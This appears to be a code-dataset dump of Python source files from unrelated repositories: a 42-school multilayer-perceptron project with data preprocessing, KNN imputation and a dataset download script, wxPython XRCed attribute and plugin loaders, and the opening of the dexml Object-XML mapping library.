"path": "srcs/tools/Metrics.py" }, { "content": "import os\nimport sys\nimport logging\nimport datetime\nimport warnings\n\nimport numpy as np\nimport pandas as pd\n\nfrom tools.KNN import KNN\nfrom tools.Math import Math\nfrom tools.args.ArgParser import ArgParser\n\nfrom tools.args.FileCheckerAction import FileCheckerAction\n\n\nlogging.getLogger().setLevel(logging.INFO)\n\n\nclass DataPreprocessing(ArgParser, Math, KNN):\n X: np.ndarray\n Y: np.ndarray\n X_val: np.ndarray\n Y_val: np.ndarray\n X_test: np.ndarray\n Y_test: np.ndarray\n df_dataset_test: pd.DataFrame\n df_dataset_train: pd.DataFrame\n\n data_path: str = \"data\"\n dataset_test_file: str = None\n dataset_train_file: str = None\n prog_name: str = \"Multilayer Perceptron\"\n model_path: str = os.path.join(data_path, \"models\")\n dataset_path: str = os.path.join(data_path, \"datasets\")\n default_dataset_file: str = os.path.join(dataset_path, \"default_dataset.csv\")\n\n \"\"\"\n Override Methods\n \"\"\"\n\n def _scaler_arg(self, parser):\n scaler_group = parser.add_mutually_exclusive_group(required=False)\n scaler_group.add_argument(\n \"-nsc\",\n \"--normalize\",\n action=\"store_const\",\n const=self.normalize,\n help=\"Use Normalization as scaler function\",\n dest=\"type_scaler\",\n )\n scaler_group.add_argument(\n \"-ssc\",\n \"--standardize\",\n action=\"store_const\",\n const=self.standardize,\n help=\"Use Standardization as scaler function (default)\",\n dest=\"type_scaler\",\n )\n\n def _add_parser_args(self, parser):\n super()._add_parser_args(parser)\n parser.add_argument(\n \"-d\",\n \"--dataset_train_file\",\n type=str,\n action=FileCheckerAction,\n default=self.default_dataset_file,\n help=f\"Provide dataset CSV file - Using '{self.default_dataset_file}' as default file\",\n )\n parser.add_argument(\n \"-dt\",\n \"--dataset_test_file\",\n type=str,\n action=FileCheckerAction,\n default=self.default_dataset_file,\n help=f\"Provide dataset CSV file - Using '{self.default_dataset_file}' as default test file\",\n )\n parser.add_argument(\n \"-sp\",\n \"--split_train\",\n type=int,\n default=0.3,\n help=f\"Split train dataset by X to create a test dataset\\nIf provided, override '-dt' option\",\n )\n self._scaler_arg(parser)\n\n def _get_options(self):\n self.split = self.get_args(\"split_train\")\n self.dataset_test_file = self.get_args(\"dataset_test_file\")\n self.dataset_train_file = self.get_args(\"dataset_train_file\")\n self.scaler = self.get_args(\"type_scaler\", default_value=self.standardize)\n if (\n self.dataset_test_file == self.default_dataset_file\n or self.dataset_train_file == self.default_dataset_file\n ):\n logging.info(\"Using default dataset CSV file\")\n\n \"\"\"\n Private Methods\n \"\"\"\n\n @staticmethod\n def _handle_error(exception=None, message=\"Error\", mod=-1):\n if exception:\n logging.error(f\"{exception}\")\n logging.error(f\"{message}\")\n sys.exit(mod)\n\n def _load_npy(self, file_name: str):\n try:\n return np.load(file_name, allow_pickle=True)\n except Exception as e:\n self._handle_error(exception=e)\n\n def _save_npy(self, file_name: str, data):\n try:\n warnings.simplefilter(\"default\")\n with warnings.catch_warnings():\n warnings.simplefilter(\"ignore\")\n np.save(file_name, data, allow_pickle=True)\n except Exception as e:\n self._handle_error(exception=e)\n\n def _get_csv_file(self, file_path: str) -> pd.DataFrame:\n start = datetime.datetime.now()\n logging.info(f\"Reading dataset from file: {file_path}\")\n try:\n return pd.read_csv(f\"{os.path.abspath(file_path)}\", header=None)\n except Exception:\n self._handle_error(message=f\"Error while processing {file_path}\")\n logging.info(f\"data loaded: {datetime.datetime.now() - start}\")\n\n @staticmethod\n def _fix_data(df):\n X = df.to_numpy()\n X_ = X[(X != 0).all(axis=-1)]\n for i in range(X.shape[1]):\n m = np.mean(X_[i])\n X[X[:, i] == 0] = m\n return X\n\n @staticmethod\n def _create_validation_dataset(split, X, Y):\n i = int(X.shape[0] - X.shape[0] * split)\n return Y[:i], X[:i], Y[i:], X[i:]\n\n def _split_dataset(self, dataset):\n np.set_printoptions(threshold=sys.maxsize)\n dataset = np.delete(dataset, 0, axis=1)\n dataset[dataset == 0] = np.nan\n dataset[:, 0] = np.where(dataset[:, 0] == \"M\", 0, 1)\n X = self.knn_multi_column_imputer(np.array(dataset, dtype=float), 2)\n return X[:, 0], self.scaler(X[:, 1:])\n\n def __init__(self):\n super().__init__(prog=self.prog_name)\n self.df_dataset_train = self._get_csv_file(self.dataset_train_file)\n self.df_dataset_test = self._get_csv_file(self.dataset_test_file)\n\n def __str__(self):\n return f\"\"\"\n{'Summary'.center(70, '=')}\nDataset train file: {self.dataset_train_file}\nDataset test file: {self.dataset_test_file}\nModels path: {self.model_path}\n\n{'Dataset stat'.center(70, '=')}\n - shape: {self.df_dataset_train.shape}\n\n - Statistic info:\n{self.df_dataset_train.describe()}\n{self.df_dataset_train.head()}\n{'=' * 70}\n\"\"\"\n\n \"\"\"\n Public Methods\n \"\"\"\n\n @staticmethod\n def shuffle(X, Y):\n c = np.c_[X.reshape(len(X), -1), Y.reshape(len(Y), -1)]\n np.random.shuffle(c)\n return (\n c[:, : X.size // len(X)].reshape(X.shape),\n c[:, X.size // len(X) :].reshape(Y.shape),\n )\n\n def write_to_csv(self, file_name: str, dataset: list, columns: list):\n tmp_dataset = pd.DataFrame(data=dataset)\n tmp_dataset.index.name = \"Index\"\n tmp_dataset.columns = columns\n try:\n with open(os.path.abspath(file_name), \"w\") as file:\n file.write(tmp_dataset.to_csv())\n except Exception as e:\n self._handle_error(exception=e)\n\n def wbdc_preprocess(self):\n self.Y, self.X = self._split_dataset(self.df_dataset_train.to_numpy())\n self.Y_test, self.X_test = self._split_dataset(self.df_dataset_test.to_numpy())\n self.Y, self.X, self.Y_val, self.X_val = self._create_validation_dataset(\n self.split, *self.shuffle(self.X, self.Y)\n )\n", "id": "2928907", "language": "Python", "matching_score": 2.1465723514556885, "max_stars_count": 0, "path": "srcs/tools/DataPreprocessing.py" }, { "content": "#!/usr/bin/python\n# coding: utf-8\n\n\"\"\"\nThis script will download the dataset from the MLP project resources\nthen randomly shuffle it and split it in two to create a training and test set.\n\nThe student will have to train his model using the generated training set. He\nwill then evaluate the model performances at prediction on the test set.\n\nThe performance should be evaluated on binary cross-entropy loss function.\n42ai - <EMAIL> - 2017 \"\"\"\n\nimport io\nimport os\nimport sys\nimport random\nimport csv\n\n\ndef writeToCsv(path, content, labels):\n \"\"\"write a given content in a csv file.\n arguments :\n `path` : (string)\n the path where we will save the csv file (relative or absolute path).\n `content` : (ndarray/list)\n the content to save in the csv file.\n `labels` : (ndarray/list)\n the labels of the csv columns.\n \"\"\"\n with io.open(path, \"w\") as fd:\n writer = csv.writer(fd)\n if labels is not None:\n content.insert(0, labels)\n writer.writerows(content)\n\n\ndef splitList(content, cut):\n \"\"\"splits an array in two.\n arguments :\n `content` : (ndarray/list)\n the array to split in two.\n `cut` : (float) in [0:1]\n the ratio by which we will split the array.\n \"\"\"\n c = int(len(content) * cut)\n return (content[:c], content[c:])\n\n\ndef splitDataset(path, cut=0.2, label=False, shuffle=False):\n \"\"\"loads the dataset and splits it in two sets.\n arguments :\n `path` : (string)\n the path to the dataset to load (relative or absolute path).\n `cut` : (float) in [0:1]\n the ratio for the reparition of the two sets (0.2 means 20 percents\n for the test set and 80 percents for the training set).\n `label` : (boolean)\n wether the first line of the csv contains labels or not\n `shuffle` : (boolean)\n wether we shuffle the dataset before the split operation or not\n \"\"\"\n labels = None\n content = []\n csvfile = (\n open(path, \"rb\")\n if sys.version_info[0] < 3\n else open(path, \"rt\", encoding=\"utf-8\")\n )\n reader = csv.reader(csvfile, delimiter=\",\")\n for i, row in enumerate(reader):\n if i == 0 and label is True:\n labels = row\n continue\n content.append(row)\n csvfile.close()\n if shuffle is True:\n random.shuffle(content)\n filename = path[: path.rfind(\".\")]\n testset, trainingset = splitList(content, float(cut))\n writeToCsv(filename + \"_test.csv\", testset, labels)\n writeToCsv(filename + \"_training.csv\", trainingset, labels)\n\n\ndataset_url = \"https://projects.intra.42.fr/uploads/document/document/464/data.csv\"\nfilepath = \"./data.csv\"\nos.system(\"curl -s -o {1} {0}\".format(dataset_url, filepath))\nsplitDataset(filepath, cut=0.25, label=False, shuffle=True)\n", "id": "1928189", "language": "Python", "matching_score": 0.5432456135749817, "max_stars_count": 0, "path": "data/subject/evaluate.py" }, { "content": "import warnings\nimport numpy as np\nfrom numba.core.errors import NumbaPerformanceWarning\n\nfrom numba import jit\n\nwarnings.simplefilter(\"ignore\", category=NumbaPerformanceWarning)\n\n\nclass Math:\n \"\"\"\n PREPARATION OF DATASET\n \"\"\"\n\n @staticmethod\n @jit(nopython=True)\n def standardize(X: np.ndarray):\n for i in range(X.shape[1]):\n X[:, i] = (X[:, i] - np.mean(X[:, i])) / np.std(X[:, i])\n return X\n\n @staticmethod\n @jit(nopython=True)\n def normalize(X: np.ndarray):\n for i in range(X.shape[1]):\n X[:, i] = (X[:, i] - np.min(X[:, i])) / (np.max(X[:, i]) - np.min(X[:, i]))\n return X\n\n @staticmethod\n @jit(nopython=True)\n def _weighted_sum(X: np.ndarray, W: np.ndarray, B: np.ndarray):\n return np.dot(X, W) + B\n\n \"\"\"\n ACTIVATION\n \"\"\"\n\n @staticmethod\n @jit(nopython=True)\n def sigmoid(z: np.ndarray):\n return 1.0 / (1.0 + np.exp(-z))\n\n @staticmethod\n @jit(nopython=True)\n def tanh(z: np.ndarray):\n return (np.exp(z) - np.exp(-z)) / (np.exp(z) + np.exp(-z))\n\n @staticmethod\n @jit(nopython=True)\n def relu(x: np.ndarray):\n return np.where(x < 0, 0, x)\n\n @staticmethod\n @jit(nopython=True)\n def leaky_relu(z: np.ndarray):\n return np.array([zi if zi > 0 else 0.2 for zi in z])\n\n def prelu(self, z: np.ndarray):\n return np.array([zi if zi > 0 else self.learning_rate * zi for zi in z])\n\n \"\"\"\n DERIVATIVE\n \"\"\"\n\n @staticmethod\n @jit(nopython=True)\n def d_sigmoid(z: np.ndarray):\n sig_z = 1.0 / (1.0 + np.exp(-z))\n return sig_z * (1 - sig_z)\n\n @staticmethod\n @jit(nopython=True)\n def d_tanh(z: np.ndarray):\n return 1 - np.power((np.exp(z) - np.exp(-z)) / (np.exp(z) + np.exp(-z)), 2)\n\n @staticmethod\n @jit(nopython=True)\n def d_relu(x: np.ndarray):\n return np.where(x < 0, 0, 1)\n\n @staticmethod\n @jit(nopython=True)\n def d_leaky_relu(z: np.ndarray):\n return np.array([1 if zi > 0 else 0.2 for zi in z])\n\n def d_prelu(self, z: np.ndarray):\n return np.array([1 if zi > 0 else self.learning_rate for zi in z])\n\n \"\"\"\n REGULARIZATION\n \"\"\"\n\n @staticmethod\n @jit(nopython=True)\n def l1_laplacian(W: np.ndarray):\n return 0.01 * np.sum(np.abs(W))\n\n @staticmethod\n @jit(nopython=True)\n def l2_gaussian(W: np.ndarray):\n return 0.01 * np.sum(np.power(W, 2))\n\n \"\"\"\n ERROR\n \"\"\"\n\n @staticmethod\n @jit(nopython=True)\n def mean_squared(Y: np.ndarray, Z: np.ndarray):\n return 1.0 / Z.shape[0] * np.sum(np.power(Y - Z, 2))\n\n @staticmethod\n def cross_entropy(Y: np.ndarray, Z: np.ndarray):\n epsilon = 1e-7\n Z = np.clip(Z, epsilon, 1.0 - epsilon)\n return np.sum(Y * np.log(Z) + (1 - Y) * np.log(1 - Z)) / -Y.size\n\n \"\"\"\n OUTPUT\n \"\"\"\n\n @staticmethod\n @jit(nopython=True)\n def soft_max(z: np.ndarray):\n a = np.zeros((z.shape))\n for i, zi in enumerate(z):\n a[i] = np.exp(zi) / np.sum(np.exp(zi))\n return a\n", "id": "1265105", "language": "Python", "matching_score": 1.1026893854141235, "max_stars_count": 0, "path": "srcs/tools/Math.py" }, { "content": "import math\nimport sys\n\nimport numpy as np\n\n\nclass KNN:\n @staticmethod\n def arange_array(dataset, clear_dt: np.ndarray, columns: np.ndarray):\n store = np.zeros(shape=(dataset.shape[0], dataset.shape[1] - clear_dt.shape[1]))\n for i, c in enumerate(columns):\n store[:, i] = dataset[:, c]\n return np.array(\n np.c_[clear_dt.reshape(len(clear_dt), -1), store.reshape(len(store), -1)],\n dtype=float,\n )\n\n @staticmethod\n def rearange_array(\n dataset: np.ndarray, initial_colomns: np.ndarray, columns: np.ndarray\n ):\n index = list(range(dataset.shape[1] - len(columns)))\n for i, c in zip(initial_colomns, columns):\n index.insert(i, c)\n new_dataset = np.zeros(dataset.shape)\n for i, c in enumerate(index):\n new_dataset[:, i] = dataset[:, c]\n return np.array(new_dataset, dtype=float)\n\n @staticmethod\n def _euclidean_distance(point1: np.ndarray, point2: np.ndarray):\n return np.sqrt(np.sum(np.power(point1 - point2, 2)))\n\n def _knn(self, dataset: np.ndarray, query: np.ndarray, k: int, distance_fn):\n neighbor_distances_and_indices = np.array(\n [(i, distance_fn(d, query)) for i, d in enumerate(dataset)]\n )\n return [\n int(r[0])\n for r in sorted(neighbor_distances_and_indices, key=lambda x: x[1])[:k]\n ]\n\n def knn_imputer(\n self,\n dataset: np.ndarray,\n column: np.ndarray,\n queries: np.ndarray,\n k: int,\n to_fill: np.ndarray,\n rd: np.ndarray,\n ):\n for i, q in enumerate(queries):\n indexes = self._knn(\n dataset=dataset,\n query=q,\n k=k,\n distance_fn=self._euclidean_distance,\n )\n selected = rd[indexes]\n to_fill[i][column] = np.mean(selected[:, column])\n return to_fill\n\n def knn_multi_column_imputer(self, dataset: np.ndarray, k: np.ndarray):\n initial_columns = np.unique(np.argwhere(np.isnan(dataset)).T[1])\n dataset = self.arange_array(\n dataset,\n np.ma.compress_cols(np.ma.masked_invalid(dataset.copy())),\n initial_columns,\n )\n indexes = np.unique(np.argwhere(np.isnan(dataset)).T[0])\n columns = np.unique(np.argwhere(np.isnan(dataset)).T[1])\n queries = dataset[np.isnan(dataset).any(axis=1)]\n good = dataset[~np.isnan(dataset).any(axis=1)]\n ds = np.ma.compress_cols(np.ma.masked_invalid(good[:, :-6].copy()))\n tmp_queries = np.ma.compress_cols(np.ma.masked_invalid(queries.copy()))\n for i in columns:\n queries = self.knn_imputer(ds, i, tmp_queries, k, queries, good)\n for i, q in enumerate(indexes):\n dataset[q] = queries[i]\n return self.rearange_array(dataset, initial_columns, columns)\n", "id": "11317082", "language": "Python", "matching_score": 0, "max_stars_count": 0, "path": "srcs/tools/KNN.py" }, { "content": "import logging\nimport argparse\n\nlogging.getLogger().setLevel(logging.INFO)\n\n\nclass ArgParser:\n args: argparse.Namespace\n\n \"\"\"\n Override methods\n \"\"\"\n\n class _HelpAction(argparse._HelpAction):\n def __call__(self, parser, namespace, values, option_string=None):\n parser.print_help()\n subparsers_actions = [\n action\n for action in parser._actions\n if isinstance(action, argparse._SubParsersAction)\n ]\n for subparsers_action in subparsers_actions:\n for choice, subparser in subparsers_action.choices.items():\n print(f\"Subparser '{choice}'\\n{subparser.format_help()}\")\n parser.exit()\n\n \"\"\"\n Private methods\n \"\"\"\n\n def _add_parser_args(self, parser):\n parser.add_argument(\"-h\", \"--help\", action=self._HelpAction, help=\"help usage\")\n\n @staticmethod\n def _add_exclusive_args(parser):\n # @ define it in your class\n pass\n\n @staticmethod\n def _add_subparser_args(parser):\n # @ define it in your class\n pass\n\n def _get_options(self):\n # @ define it in your class\n pass\n\n def _init_argparse(self, prog):\n \"\"\"\n custom arguments to add option\n \"\"\"\n self.parser = argparse.ArgumentParser(\n prog=prog, conflict_handler=\"resolve\", add_help=False\n )\n self._add_parser_args(self.parser)\n self._add_exclusive_args(self.parser)\n self._add_subparser_args(self.parser)\n self.args = self.parser.parse_args()\n\n def __init__(self, prog: str = \"PROG\"):\n self._init_argparse(prog)\n self._get_options()\n\n \"\"\"\n Public methods\n \"\"\"\n\n def get_args(self, value: str, default_value=None):\n \"\"\"\n Allow to access directly and safely to a variable present or not in the class\n \"\"\"\n ret = vars(self.args).get(value, None)\n return ret if ret is not None else default_value\n", "id": "2300945", "language": "Python", "matching_score": 2.07804012298584, "max_stars_count": 0, "path": "srcs/tools/args/ArgParser.py" }, { "content": "import os\nimport argparse\n\n\nclass FileCheckerAction(argparse.Action):\n def __init__(self, option_strings, dest, nargs=None, **kwargs):\n if nargs is not None:\n raise ValueError(\"nargs not allowed\")\n super().__init__(option_strings, dest, **kwargs)\n\n def __call__(self, parser, namespace, values, option_string=None):\n if not os.path.exists(values) or os.path.splitext(values)[1] != \".csv\":\n raise ValueError(\n f\"File '{values}' does not exist or is in the wrong format (CSV)\"\n )\n setattr(namespace, self.dest, values)\n", "id": "1751031", "language": "Python", "matching_score": 1.851760983467102, "max_stars_count": 0, "path": "srcs/tools/args/FileCheckerAction.py" } ]
1.881337
ekkipermana
[ { "content": "# Name: attribute.py\n# Purpose: Attribute classes\n# Author: <NAME> <<EMAIL>>\n# Created: 25.06.2007\n# RCS-ID: $Id$\n\n'''\nAttribute processing classes.\n\nThis module contains some predefined classes which can be used to store and\nretrieve XML data into Python objects.\n'''\n\nimport cPickle\nfrom model import Model\n\nclass Attribute:\n '''Base class, used for simple attributes, i.e. single attributes\n storing data as text strings.'''\n @staticmethod\n def add(parentNode, attribute, value):\n '''Store attribute value in DOM as a text node.\n\n @param attribute: Attribute name.\n @param value: Attribute value (Python string).\n '''\n if attribute == '':\n elem = parentNode\n else:\n elem = Model.dom.createElement(attribute)\n parentNode.appendChild(elem)\n text = Model.dom.createTextNode(value)\n elem.appendChild(text)\n @staticmethod\n def get(node):\n '''Get value (or return a default value) from a DOM C{Element} object.'''\n if node is None: return ''\n try:\n n = node.childNodes[0]\n return n.wholeText\n except IndexError:\n return ''\n\nclass ContentAttribute:\n '''Content attribute class. Value is a list of strings.'''\n @staticmethod\n def add(parentNode, attribute, value):\n contentElem = Model.dom.createElement(attribute)\n parentNode.appendChild(contentElem)\n for item in value:\n elem = Model.dom.createElement('item')\n text = Model.dom.createTextNode(item)\n elem.appendChild(text)\n contentElem.appendChild(elem)\n @staticmethod\n def get(node):\n if node is None: return []\n value = []\n for n in node.childNodes:\n if n.nodeType == node.ELEMENT_NODE and n.tagName == 'item':\n value.append(Attribute.get(n))\n return value\n\nclass CheckContentAttribute:\n '''CheckList content. Value is a list of tuples (checked, string).'''\n @staticmethod\n def add(parentNode, attribute, value):\n contentElem = Model.dom.createElement(attribute)\n parentNode.appendChild(contentElem)\n for checked,item in value:\n elem = Model.dom.createElement('item')\n if checked:\n elem.setAttribute('checked', '1')\n text = Model.dom.createTextNode(item)\n elem.appendChild(text)\n contentElem.appendChild(elem)\n @staticmethod\n def get(node):\n if node is None: return []\n value = []\n for n in node.childNodes:\n if n.nodeType == node.ELEMENT_NODE and n.tagName == 'item':\n checked = bool(n.getAttribute('checked'))\n value.append((checked, Attribute.get(n)))\n return value\n\nclass DictAttribute:\n '''DictAttribute uses dictionary object for passing data.'''\n attributes = []\n @classmethod\n def add(cls, parentNode, attribute, value):\n fontElem = Model.dom.createElement(attribute)\n parentNode.appendChild(fontElem)\n for a in filter(value.has_key, cls.attributes):\n elem = Model.dom.createElement(a)\n text = Model.dom.createTextNode(value[a])\n elem.appendChild(text)\n fontElem.appendChild(elem)\n @staticmethod\n def get(node):\n if node is None: return {}\n value = {}\n for n in node.childNodes:\n if n.nodeType == node.ELEMENT_NODE:\n value[n.tagName] = Attribute.get(n)\n return value\n\nclass FontAttribute(DictAttribute):\n attributes = ['size', 'style', 'weight', 'underlined', 'family', 'face', 'encoding', \n 'sysfont', 'relativesize']\n\nclass CodeAttribute(DictAttribute):\n attributes = ['events', 'assign_var']\n\nclass MultiAttribute:\n '''Repeated attribute like growablecols.'''\n @staticmethod\n def add(parentNode, attribute, value):\n for v in value:\n elem = Model.dom.createElement(attribute)\n parentNode.appendChild(elem)\n text = Model.dom.createTextNode(v)\n elem.appendChild(text)\n @staticmethod\n def get(node):\n if node is None: return []\n tag = node.tagName # remember tag name\n value = []\n # Look for multiple tags\n while node:\n if node.nodeType == node.ELEMENT_NODE and node.tagName == tag:\n value.append(Attribute.get(node))\n node = node.nextSibling\n return value\n\nclass BitmapAttribute:\n '''Bitmap attribute.'''\n @staticmethod\n def add(parentNode, attribute, value):\n if not value[0] and not value[1]: return\n if attribute == 'object':\n elem = parentNode\n else:\n elem = Model.dom.createElement(attribute)\n parentNode.appendChild(elem)\n if value[0]:\n elem.setAttribute('stock_id', value[0])\n else:\n if elem.hasAttribute('stock_id'): elem.removeAttribute('stock_id')\n text = Model.dom.createTextNode(value[1])\n elem.appendChild(text)\n @staticmethod\n def get(node):\n if node is None: return []\n return [node.getAttribute('stock_id'), Attribute.get(node)]\n \nclass AttributeAttribute:\n '''Attribute as an XML attribute of the element node.'''\n @staticmethod\n def add(elem, attribute, value):\n if value:\n elem.setAttribute(attribute, value)\n else:\n if elem.hasAttribute(attribute): elem.removeAttribute(attribute)\n @staticmethod\n def getAA(elem, attribute):\n return elem.getAttribute(attribute)\n\nclass EncodingAttribute(AttributeAttribute):\n '''Encoding is a special attribute stored in dom object.'''\n @staticmethod\n def add(elem, attribute, value):\n Model.dom.encoding = value\n @staticmethod\n def getAA(elem, attribute):\n return Model.dom.encoding\n \nclass CDATAAttribute(Attribute):\n def add(parentNode, attribute, value):\n '''value is a dictionary.'''\n if value:\n elem = Model.dom.createElement(attribute)\n parentNode.appendChild(elem)\n data = Model.dom.createCDATASection(cPickle.dumps(value))\n elem.appendChild(data)\n @staticmethod\n def get(node):\n '''Get XRCED data from a CDATA text node.'''\n try:\n n = node.childNodes[0]\n if n.nodeType == n.CDATA_SECTION_NODE:\n return cPickle.loads(n.wholeText.encode())\n except IndexError:\n pass\n \nclass CommentAttribute(AttributeAttribute):\n '''Comment is the value of comment object.'''\n @staticmethod\n def add(node, attribute, value):\n node.data = value\n @staticmethod\n def getAA(node, attribute):\n return node.data\n \n", "id": "3571151", "language": "Python", "matching_score": 2.1436362266540527, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/XRCed/attribute.py" }, { "content": "# Name: plugin.py\n# Purpose: Pluggable component support\n# Author: <NAME> <<EMAIL>>\n# Created: 31.05.2007\n# RCS-ID: $Id: plugin.py 51262 2008-01-17 17:07:19Z ROL $\n\n'''\nFunctions for loading plugins.\n'''\n\nimport os, sys, glob\nfrom xml.dom import minidom\nfrom globals import *\nfrom presenter import Manager\nimport component\nimport meta\n\ndef load_plugins_from_dirs():\n '''Load plugins from XRCEDPATH directories.'''\n dirs = os.getenv('XRCEDPATH')\n if dirs:\n for dir in dirs.split(':'):\n if os.path.isdir(dir):\n load_plugins(dir)\n\ndef load_plugins(dir):\n '''Load plugins from C{dir}.'''\n sys_path = sys.path\n cwd = os.getcwd()\n dir = os.path.abspath(os.path.normpath(dir))\n TRACE('* load_plugins from %s' % dir)\n os.chdir(dir)\n sys.path = sys_path + [dir]\n try: # try/finally shield\n ff_py = glob.glob('[!_]*.py')\n for f in ff_py:\n name = os.path.splitext(f)[0]\n TRACE('* __import__ %s', name)\n try:\n __import__(name, globals(), locals(), ['*'])\n except ImportError:\n logger.exception('importing %s failed', name)\n ff_crx = glob.glob('*.crx')\n for crx in ff_crx:\n TRACE('* load_crx %s', crx)\n try:\n load_crx(crx)\n except:\n logger.exception('parsing CRX file %s failed', crx)\n dirs = glob.glob('*/')\n for dir in dirs:\n if os.path.isfile(os.path.join(dir, '__init__.py')):\n TRACE('* import __init__.py in %s', dir)\n try:\n __import__(dir, globals(), locals(), ['*'])\n except ImportError:\n logger.exception('importing __init__.py failed')\n finally:\n sys.path = sys_path\n os.chdir(cwd)\n\ndef load_crx(filename):\n '''Load components defined in a manifest file.'''\n dom = minidom.parse(filename)\n for node in dom.documentElement.childNodes:\n if node.nodeType == node.ELEMENT_NODE and node.tagName == 'component':\n create_component(node)\n\ndef create_component(node):\n '''Create component from a manifest data.\n\n @param node: DOM C{Element} object containing component manifest data.\n '''\n klass = node.getAttribute('class')\n name = node.getAttribute('name')\n TRACE('create_component %s', name)\n comp = getattr(meta, klass)\n compClass = getattr(component, comp.klass) # get component class\n attributesIn = comp.getAttribute(node, 'attributes')\n # Process attr:klass pairs\n attributes = []\n specials = {}\n for a in attributesIn:\n i = a.find(':')\n if i != -1:\n a,kl = a[:i],a[i+1:]\n specials[a] = getattr(component, kl)\n attributes.append(a)\n attParamsIn = comp.getAttribute(node, 'params')\n # Process attr:param_class pairs\n params = {}\n for a in attParamsIn:\n i = a.find(':')\n if i != -1:\n a,kl = a[:i],a[i+1:]\n params[a] = getattr(component.params, kl)\n groups = comp.getAttribute(node, 'groups')\n styles = comp.getAttribute(node, 'styles')\n events = comp.getAttribute(node, 'events')\n c = compClass(name, groups, attributes, specials=specials, params=params, events=events)\n c.hasName = bool(comp.getAttribute(node, 'has-name'))\n c.addStyles(*styles)\n Manager.register(c)\n menu = comp.getAttribute(node, 'menu')\n label = comp.getAttribute(node, 'label')\n if menu and label:\n try:\n index = int(comp.getAttribute(node, 'index'))\n except:\n index = 1000\n help = comp.getAttribute(node, 'help')\n Manager.setMenu(c, menu, label, help, index)\n panel = comp.getAttribute(node, 'panel')\n if panel:\n try:\n pos = map(int, comp.getAttribute(node, 'pos').split(','))\n except:\n pos = component.DEFAULT_POS\n try:\n span = map(int, comp.getAttribute(node, 'span').split(','))\n except:\n span = (1, 1)\n Manager.setTool(c, panel, pos=pos, span=span)\n dlName = comp.getAttribute(node, 'DL')\n if dlName:\n TRACE('Loading dynamic library: %s', dlName)\n if not g._CFuncPtr:\n try:\n import ctypes\n g._CFuncPtr = ctypes._CFuncPtr\n except:\n print 'import ctypes module failed'\n if g._CFuncPtr:\n dl = ctypes.CDLL(dlName)\n try:\n Manager.addXmlHandler(dl.AddXmlHandlers)\n except:\n logger.exception('DL registration failed')\n module = comp.getAttribute(node, 'module')\n handler = comp.getAttribute(node, 'handler')\n if module and handler:\n TRACE('importing handler %s from %s', handler, module)\n try:\n mod = __import__(module, globals(), locals(), [handler])\n Manager.addXmlHandler(getattr(mod, handler))\n except ImportError:\n logger.exception(\"can't import handler module\")\n except AttributeError:\n logger.exception(\"can't find handler class\")\n\n", "id": "10006972", "language": "Python", "matching_score": 1.5019410848617554, "max_stars_count": 27, "path": "Lib/site-packages/wx-2.8-msw-unicode/wx/tools/XRCed/plugin.py" }, { "content": "\"\"\"\n\n dexml: a dead-simple Object-XML mapper for Python\n\nLet's face it: xml is a fact of modern life. I'd even go so far as to say\nthat it's *good* at what is does. But that doesn't mean it's easy to work\nwith and it doesn't mean that we have to like it. Most of the time, XML\njust needs to get the hell out of the way and let you do some actual work\ninstead of writing code to traverse and manipulate yet another DOM.\n\nThe dexml module takes the obvious mapping between XML tags and Python objects\nand lets you capture that as cleanly as possible. Loosely inspired by Django's\nORM, you write simple class definitions to define the expected structure of\nyour XML document. Like so:\n\n >>> import dexml\n >>> from dexml import fields\n >>> class Person(dexml.Model):\n ... name = fields.String()\n ... age = fields.Integer(tagname='age')\n\nThen you can parse an XML document into an object like this:\n\n >>> p = Person.parse(\"<Person name='<NAME>'><age>42</age></Person>\")\n >>> p.name\n u'<NAME>'\n >>> p.age\n 42\n\nAnd you can render an object into an XML document like this:\n\n >>> p = Person(name=\"<NAME>\",age=36)\n >>> p.render()\n '<?xml version=\"1.0\" ?><Person name=\"<NAME>\"><age>36</age></Person>'\n\nMalformed documents will raise a ParseError:\n\n >>> p = Person.parse(\"<Person><age>92</age></Person>\")\n Traceback (most recent call last):\n ...\n ParseError: required field not found: 'name'\n\nOf course, it gets more interesting when you nest Model definitions, like this:\n\n >>> class Group(dexml.Model):\n ... name = fields.String(attrname=\"name\")\n ... members = fields.List(Person)\n ...\n >>> g = Group(name=\"Monty Python\")\n >>> g.members.append(Person(name=\"<NAME>\",age=69))\n >>> g.members.append(Person(name=\"<NAME>\",age=67))\n >>> g.render(fragment=True)\n '<Group name=\"<NAME>\"><Person name=\"<NAME>\"><age>69</age></Person><Person name=\"<NAME>\"><age>67</age></Person></Group>'\n\nThere's support for XML namespaces, default field values, case-insensitive\nparsing, and more fun stuff. Check out the documentation on the following\nclasses for more details:\n\n :Model: the base class for objects that map into XML\n :Field: the base class for individual model fields\n :Meta: meta-information about how to parse/render a model\n\n\"\"\"\n\n__ver_major__ = 0\n__ver_minor__ = 3\n__ver_patch__ = 7\n__ver_sub__ = \"\"\n__version__ = \"%d.%d.%d%s\" % (__ver_major__,__ver_minor__,__ver_patch__,__ver_sub__)\n \n\nimport copy\nfrom xml.dom import minidom\n\n## Local Imports\nimport fields\nfrom _util import *\n\nclass Model(object):\n \"\"\"Base class for dexml Model objects.\n\n Subclasses of Model represent a concrete type of object that can parsed \n from or rendered to an XML document. The mapping to/from XML is controlled\n by two things:\n\n * attributes declared on an inner class named 'meta'\n * fields declared using instances of fields.Field\n\n Here's a quick example:\n\n class Person(dexml.Model):\n # This overrides the default tagname of 'Person'\n class meta\n tagname = \"person\"\n # This maps to a 'name' attributr on the <person> tag\n name = fields.String()\n # This maps to an <age> tag within the <person> tag\n age = fields.Integer(tagname='age')\n\n See the 'Meta' class in this module for available meta options, and the\n 'fields' submodule for available field types.\n \"\"\"\n\n __metaclass__ = ModelMetaclass\n _fields = []\n\n def __init__(self,**kwds):\n \"\"\"Default Model constructor.\n\n Keyword arguments that correspond to declared fields are processed\n and assigned to that field.\n \"\"\"\n for f in self._fields:\n val = kwds.get(f.field_name)\n setattr(self,f.field_name,val)\n\n @classmethod\n def parse(cls,xml):\n \"\"\"Produce an instance of this model from some xml.\n\n The given xml can be a string, a readable file-like object, or\n a DOM node; we might add support for more types in the future.\n \"\"\"\n self = cls()\n node = self._make_xml_node(xml)\n self.validate_xml_node(node)\n # Keep track of fields that have successfully parsed something\n fields_found = []\n # Try to consume all the node's attributes\n attrs = node.attributes.values()\n for field in self._fields:\n unused_attrs = field.parse_attributes(self,attrs)\n if len(unused_attrs) < len(attrs):\n fields_found.append(field)\n attrs = unused_attrs\n for attr in 